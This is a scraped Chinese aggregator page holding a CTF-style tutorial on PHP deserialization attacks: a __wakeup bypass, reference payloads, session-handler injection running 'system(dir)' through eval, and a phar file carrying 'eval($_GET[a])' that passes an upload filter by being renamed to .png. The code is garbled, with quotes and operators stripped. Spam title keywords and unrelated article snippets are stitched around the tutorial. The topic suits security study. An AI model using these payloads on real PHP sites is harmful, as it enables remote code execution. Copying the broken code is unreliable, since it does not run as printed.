网站主机名是什么吉安网站建设jajjjc

pingmian/2025/10/11 14:46:36/文章来源:
网站主机名是什么,吉安网站建设jajjjc,建设功能网站价格,怎么做网站的效果图目录 一、wakeup绕过 二、引用 三、session反序列化漏洞 3.1 php方式存取session格式 3.2 php_serialize方式存取session格式 3.3 php_binary方式存取session格式 3.4 代码演示 3.5 session例题获取flag 四、phar反序列化漏洞 4.1 phar常识 4.2 代码演示 4.3 phar例…目录 一、wakeup绕过 二、引用 三、session反序列化漏洞 3.1 php方式存取session格式 3.2 php_serialize方式存取session格式 3.3 php_binary方式存取session格式 3.4 代码演示 3.5 session例题获取flag 四、phar反序列化漏洞 4.1 phar常识 4.2 代码演示 4.3 phar例题获取flag 一、wakeup绕过 (不怎么重要但需要知道) 反序列化漏洞:CVE-2016-7124 就是这个原因。 漏洞产生原因如果存在__wakeup方法调用unserilize()方法前泽贤调用wakeup方法但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行 直接代码演示 多说无用 ?php error_reporting(0); class secret{var $fileindex.php;public function __construct($file){$this-file$file;}function __destruct(){include_once($this-file);echo $flag;}function __wakeup(){$this-fileindex.php;} } $cmd$_GET[cmd]; if (!isset($cmd)){highlight_file(__FILE__); } else{if (preg_match(/[oc]:\d:/i,$cmd)){echo Are you daydreaming?;}else{unserialize($cmd);} } //sercet in flag.php ? 这里其实我有两个问题 第一个问题 __wakeup不是在反序列化之前执行的嘛 他赋值不应该是没用嘛 他执行结束后对象获取的不是序列化字符串的值嘛 难道__wakeup会一直检查 解决总结起来__wakeup 方法是在反序列化过程结束、即将将反序列化的值赋给对象之前触发的。 第二个问题如果这个属性个数大于原有的不是应该不执行反序列化了嘛 为什么还能执行我发现有的可以成功执行反序列化有的不可以执行反序列化 提示秘密在flag.php里面 发现一旦触发wakeup file的值就会变为index.php 这个时候我们就需要绕过wakeup  //O:6:secret:2:{s:4:file;s:8:flag.php} 切记得到的poc最好进行url编码可能因为触发一些问题 从而无法获取flag 二、引用 单独见到的时候比较少 和上面一样 会在一道题里出现这一个小问题 类似于c语言指不怕随机值了针 可以理解为都指向一个地址 一个变另一个也会变 ?php highlight_file(__FILE__); error_reporting(0); include(flag.php); class just4fun {var $enter;var $secret; }if (isset($_GET[pass])) {$pass $_GET[pass];$passstr_replace(*,\*,$pass); }$o unserialize($pass);if ($o) {$o-secret *;if ($o-secret $o-enter)echo Congratulation! Here is my secret: .$flag;elseecho Oh no... You cant fool me; } else echo are you trolling?; ? are you trolling? 如果poc里面有*号就回被屏蔽 没有任何办法 并且如果secret是个随机值 那更不好办 于是采用引用 一节困难都解决了 O:8:just4fun:2:{s:5:enter;N;s:6:secret;R:2;} 解释一下就是secret是对象的第二次使用 记住这么写的就行说实话代码能看懂但是这个字符串有点不理解记住就行可以理解为enter为第一次引用对象第一次的输出 secret是第二次引用对象第一次输出的结果 他俩值相等 三、session反序列化漏洞 当session_start()被调用或者php.ini中session.auto_start为1时 php内部调用会话管理器访问用户session被序列化以后存储到指定目录下 存取数据的格式有多种常见的有三种 漏洞的产生写入格式和读取格式不一致  3.1 php方式存取session格式 ?php highlight_file(__FILE__); error_reporting(0); session_start(); $_SESSION[benben] $_GET[ben]; ? 传入ben123456 3.2 php_serialize方式存取session格式 ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php_serialize); session_start(); $_SESSION[benben] $_GET[ben]; $_SESSION[b] $_GET[b]; ? 传入bendazhuangb666 3.3 php_binary方式存取session格式 ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php_binary); session_start(); $_SESSION[benben] $_GET[ben]; $_SESSION[b] $_GET[b]; ? 传入 发现有些不一样 那是因为该方式中的属性长度以二进制方式存储 文本方式看不出来 使用010二进制读取 发现benben前有个06 b前有个01 3.4 代码演示 有两个页面 提交数据的页面 ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php_serialize); session_start(); $_SESSION[ben] $_GET[a]; ? 漏洞页面 ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php); session_start(); class D{var $a;function __destruct(){eval($this-a);} } ? 提交数据是以php_serialize的方式进行存session文件的 如果我们传入atzy 则文件内的内容就是a:1:{s:1:a;s:3:tzy;} 但是他取的时候使用的是php方式进行读取session文件 会把竖线前当成键名后面当成键值所以要对先加上一个竖线  a:1:{s:1:a;s:3:|tzy;} 在漏洞界面代码只要是能触发destruct魔术方法就能执行eval语句 所以asystem(dir); 并且要对该类的对象进行反序列化 才能触发魔术方法 D实例化并赋值a为system(dir)的pocO:1:D:1:{s:1:a;s:11:system(dir);;} 整体提交的poca |O:1:D:1:{s:1:a;s:11:system(dir);;} 保存到服务器的内容就成为了 a:1:{s:1:a;s:3:|O:1:D:1:{s:1:a;s:11:system(dir);};} 但是php方式进行读取的时候  键值是竖线后序列化的字符串 会将键值反序列化 从而执行了eval。 session的流程就是你提交session后 再次访问同一个session的页面 这个页面就会获取之前的session并读取 并按照当前页面设置的方法通过session_start()进行读取session文件 读取也就是执行一遍 获取里面session内的名字以及所对应的内容 在该演示中 php因为存储的形式是键值序列化后的字符串 在读取的时候 会将字符串反序列化才能获取值 所以就造成了漏洞 于是直接访问漏洞界面即可 3.5 session例题获取flag ?php highlight_file(__FILE__); /*hint.php*/ session_start(); class Flag{public $name;public $her;function __wakeup(){$this-hermd5(rand(1, 10000));if ($this-name$this-her){include(flag.php);echo $flag;}} } ? 通过提示查看hint.php 应该是提交页面 ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler, php_serialize); session_start(); $_SESSION[a]  $_GET[a]; ? 提交参数a|O:4:Flag:2:{s:4:name;N;s:3:her;R:2;} 成功 四、phar反序列化漏洞 4.1 phar常识 phar是一个文件 可以理解为一个压缩包 JAR是开发Java程序的一个应用包括所有的可执行可访问的文件都打包进了一个JAR文件里使得部署过程十分简单 PHAR是PHP里类似于JAR的一种打包文件。 对于PHP5.3或更高版本Phar后缀文件时默认开启支持的可以直接使用它 文件包含phar为协议可读取.phar文件 经常看见的后缀 不能算是标识信息 真正标识的是文件的头部信息 当 phar.readonly 设置为 Off 时表示允许在运行时对 Phar 文件进行修改例如创建、修改或删除其中的文件。这可以方便地对 Phar 文件进行更新和维护。默认情况下phar.readonly 被设置为 On即不允许对 Phar 文件进行修改以提供更高的安全性。 做安全的了解就行 知道差不多 不深究原理 4.2 代码演示 生成phar文件的代码 这也是生成phar文件的模版 ?php highlight_file(__FILE__); class Testobj {var $output; }unlink(test.phar); //删除之前的test.par文件(如果有) $pharnew Phar(test.phar); //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering(); //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?); //写入stub $onew Testobj(); $o-outputeval($_GET[a]);; $phar-setMetadata($o);//写入meta-data 这里进行序列化 $phar-addFromString(test.txt,test); //添加要压缩的文件 $phar-stopBuffering(); ? 执行后test.phar内容就是 只关心序列化的字段就可以  漏洞页面代码 ?php highlight_file(__FILE__); error_reporting(0); class Testobj {var $outputecho ok;;function __destruct(){eval($this-output);} } if(isset($_GET[filename])) {$filename$_GET[filename];var_dump(file_exists($filename)); } ? 传入filename参数 使用file_exists执行该文件 看是否存在该文件  这个时候就用到了phar协议了 他会解析phar文件 一但解析 会将phar文件内的M字符串进行反序列化 就会触发魔术方法destruct 如果字符串里的类是该漏洞页面的类 并且为该类的output进行赋值为命令  就可以成功执行eval 因为这个时候的output的值为eval($_GET[a]) 这个a还没获取到 所以没有执行远程命令 output的值为eval($_GET[a])有好处 直接一个phar文件就能进行无数次的a命令执行 否则一个命令就需要生成一个phar文件 增加a参数 4.3 phar例题获取flag 代码 ?php highlight_file(__FILE__); error_reporting(0); class TestObject {public function __destruct() {include(flag.php);echo $flag;} } $filename $_POST[file]; if (isset($filename)){echo md5_file($filename); } //upload.php ? 一看必须触发destruct魔术方法才行 但是没有反序列化函数 只能用到phar 生成一个phar文件 模版就用上一题的  修改部分内容即可  就把当前类赋值过去内容为空就行 也不需要为类增加属性 就没了  整体来说 就是在模版中生成phar 将类实例化的对象传入到phar文件的meta位置 就会 自动序列化了  ?php highlight_file(__FILE__); class TestObject {}unlink(poc.phar); //删除之前的test.par文件(如果有) $pharnew Phar(poc.phar); //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering(); //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?); //写入stub $onew TestObject(); $phar-setMetadata($o);//写入meta-data 这里进行序列化 $phar-addFromString(poc.txt,poc); //添加要压缩的文件 $phar-stopBuffering(); ? 执行生成poc.phar 发现上传的时候只能上传图片文件 直接修改poc.phar为poc.png 之前也说了 文件的标识不是后缀而是文件头 所以使用phar协议的时候也能解析poc.png 成功上传 并给出位置 成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/88620.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自己做网站需要填税表吗wpf算是网站开发吗

文章目录 1. 创建数据集文件结构数据集标注脚本分割数据集转换数据格式 2. 配置文件2.1 数据集配置2.2 选择需要的模型 3. 模型训练4. 测试 1. 创建数据集 环境: Ultralytics YOLOv8.0.230 🚀 Python-3.8.18 torch-2.3.0.dev20231226cu118 CUDA:0 (NVIDI…

做淘客一定要建网站吗免费的视频网站如何赚钱

多元正态均值检验 一、去年卖出的一岁牛犊的平均身高为 51 英寸,平均背脂厚度是 0.3 英寸,平均肩高是 56 英寸。已知今年卖出的 76 头一岁牛犊的 3 项平均指标为(50, 0.2, 54)‘,样本协差阵及其逆矩阵为 S [ 3.00 − 0.053 2.97 − 0.053 0…

网站黏度沈阳网站企业

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的 适用于计算机类毕业设计,课程设计参考与学习用途。仅供学习参考, 不得用于商业或者非法用途,否则,一切后果请用户自负。 看运行截图看 第五章 第四章 获取资料方式 **项…

建设项目试运行备案申请网站茂民网站建设

通用属性 属性描述android:id用于为视图指定唯一的标识符。android:layout_width用于指定视图的宽度。android:layout_height用于指定视图的高度。android:layout_margin用于指定视图周围的空白区域。android:layout_padding用于指定视图内部的填充区域。android:background用…

如何设计服装网站首页昆明做网站的旅行社

拓展阅读 Devops-01-devops 是什么? Devops-02-Jpom 简而轻的低侵入式在线构建、自动部署、日常运维、项目监控软件 代码质量管理 SonarQube-01-入门介绍 项目管理平台-01-jira 入门介绍 缺陷跟踪管理系统,为针对缺陷管理、任务追踪和项目管理的商业…

做网站推广好吗中核二三公司最新招聘

开篇语大概是去年就想做这个事情了,奈何当时卡到一个docker命令找不到的问题上,导致文章难产了,墨迹了这么久,终于又有空来捣鼓它了。目的我们要实现的目的是我本地不断提交代码(CI),然后服务器不断进行部署(CD)的一个简单流程。准…

广州建网站自助建站系统军事最新军事新闻视频

sock_stream 是有保障的(即能保证数据正确传送到对方)面向连接的SOCKET,多用于资料(如文件)传送。 sock_dgram 是无保障的面向消息的socket , 主要用于在网络上发广播信息。 SOCK_STREAM是基于TCP的,数据传输比较有保障。SOCK_DGRAM是基于U…

做救助流浪动物网站的产生背景福州seo结算

Vue.js初学者和前端开发人员使用,网课、培训机构与大中专院校的教学用书 作者简介 张益珲 美国亚利桑那州立大学计算机工程技术硕士,架构师,从业近10年,多年大前端开发经验,曾就职于知名上市公司,主导开发…

找兼职做网站建设池州做网站培训

标头 darshan-parser 输出的开头显示了有关作业的总体信息的摘要。还可以使用–perf、–file或–total命令行选项生成其他作业级别摘要信息。 darshan log version:Darshan 日志文件的内部版本号。compression method:压缩方法。exe:生成日志…

微网站开发程序用wordpress

大家都知道,slow query系统做的好不好,直接决定了解决slow query的效率问题 一个数据库管理平台,拥有一个好的slow query系统,基本上就拥有了解锁性能问题的钥匙 但是今天主要分享的并不是平台,而是在平台中看到的奇…

mip网站怎么做匹配dw网站制作的一般流程

前言 最近在研究程序随系统启动,发现在 win7 上因为权限的问题,写注册表的时候总是会出现问题,写不进去导致的不能自动启动,随后决定仔细的看一看这方面的问题。 查资料过程中主要发现有三种方式可以添加到启动,分别…

天津 网站备案无锡网站建设服务公司

1. 隐马尔可夫模型 机器学习最重要的任务是根据已观察到的证据(例如训练样本)对感兴趣的未知变量(例如类别标 记)进行估计和推测。概率模型(probabilistic model)提供了一种描述框架,将描述任…

用thinksns做的网站遵义酷虎网站开发

Linux上创建一个LVM卷组,将多个物理卷添加到卷组中使用 目录1.列出当前系统中所有的块设备信息,包括磁盘、分区、逻辑卷等2.对磁盘进行分区操作3.创建了一个名为 vg_data 的卷组4.将物理卷添加到已经存在的卷组5.在卷组中创建一个逻辑卷6.查看已创建的 L…

上海专业网站建站青岛手机网站建设电话

CCIE-LAB-第四篇-OSPFv2+SHA384+BFD 实际中,思科只会给你5个小时去做下面的全部配置 这个是CCIE-LAB的拓扑图 问题 本次修改设备为sw101.sw102.sw201.sw202 问题描述 1:启动OSPFv2,保证邻居关系 2.保障认证和完整性,在冗余连接上. DC和HQ要保证OSPF的源数据,

网站更新中上海成品网站

源 | 青塔学术、量子位等颠覆科学出版的“游戏规则”?10月20日,国际著名生物学综合期刊eLife官方宣布了一个重大决定:从2023年1月31日起,所有经过同行评审的文章,eLife都不会作出接受/拒绝的决定,而是直接发布在其网站…

响应式网站建设有哪些好处猎头公司logo

21【算法题】反转链表 题目: 给定单链表的头节点 head ,请反转链表,并返回反转后的链表的头节点。 示例 1: 输入:head = [1,2,3,4,5] 输出:[5,4,3,2,1]示例 2: 输入:head = [1,2] 输出:[2,1]示例 3: 输入:head = [] 输出:[]提示: 链表中节点的数目范围是 [0, 5…

重庆永川微网站建设为什么说新浪的门户网站做的好

预读技术是微软vista和windows7默认开启的程序,原意是增加程序运行和开机速度,但事与愿违,该技术已经变成与UAC几乎一样的垃圾,普通用户建议关闭,原因有:1、程序本身额外增加系统负担,启用就多运…

网页设计跟网站建设qq可以上网

1、id选择器可以为标有特定id的html元素指定特定的样式。 2、选择器以#开头,后跟某id的属性值。 3、class选择器用于描述一组元素的样式,class可以在多个元素使用。 4、类选择器用.选择。 5、指定特定的元素使用class。 6、元素的多个类用空格分开&…

蝙蝠做等级的网站网站建设营销策划书

MySQL删除数据的方式都有哪些? 常用的三种删除方式:通过 delete、truncate、drop 关键字进行删除;这三种都可以用来删除数据,但场景不同。 一、从执行速度上来说 drop > truncate >> DELETE;二、从原理上讲 1、DELET…

物流公司网站建设模板网络营销的网站建设

企业是一家拥有多台大型设备的工厂,这些设备需要定期进行保养和维护,以确保其正常运转。而企业内部员工由于专业知识和技能的不同,需要分工协作才能更好地完成各项工作任务。因此,在设备资产管理方面,如何实现高效、便…